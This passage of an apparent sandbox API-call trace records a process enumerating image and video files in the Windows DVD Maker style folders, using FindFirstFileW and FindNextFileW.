ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.266] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.266] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.266] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.266] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.266] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.267] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0241.267] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0241.267] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0241.270] GetProcessHeap () returned 0x560000 [0241.270] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0241.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0241.270] GetProcessHeap () returned 0x560000 [0241.270] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0241.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0241.419] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.420] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0241.420] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0241.420] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0241.420] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0241.420] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0241.421] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0241.422] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0241.422] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0241.422] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0241.422] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0241.422] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0241.423] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0241.423] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0241.423] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0241.423] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0241.423] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0241.424] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0241.424] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0241.424] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0241.424] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0241.425] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0241.425] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0241.427] GetProcessHeap () returned 0x560000 [0241.427] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0241.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0241.428] GetProcessHeap () returned 0x560000 [0241.428] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0241.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0241.429] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.429] FindNextFileW (in: 